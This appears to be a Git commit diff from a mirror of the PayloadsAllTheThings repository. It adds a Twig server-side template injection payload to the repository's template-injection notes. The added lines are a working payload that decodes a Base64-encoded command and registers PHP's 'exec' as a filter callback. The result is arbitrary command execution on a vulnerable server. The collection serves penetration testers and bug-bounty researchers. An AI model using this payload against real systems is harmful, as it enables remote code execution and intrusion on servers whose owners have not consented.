mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
synced 2026-05-08 04:28:39 +02:00
Merge 289573def1 into e961fef231
This commit is contained in:
commit
10b2f20535
1 changed files with 6 additions and 0 deletions
|
|
@ -201,6 +201,12 @@ The following payload, which harnesses the built-in `_context` variable, also ac
|
|||
|
||||
Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
|
||||
|
||||
The following allows passing of a Base64 encoded payload.
|
||||
|
||||
```twig
|
||||
{%set a%}UTF-8{%endset%}{%set b%}BASE64{%endset%}{%set p%}base64 encoded string{%endset%}{%set p = p|convert_encoding((a), (b))%}{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}{{_self.env.getFilter(p)}}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Latte
|
||||
|
|
|
|||
Loading…
Reference in a new issue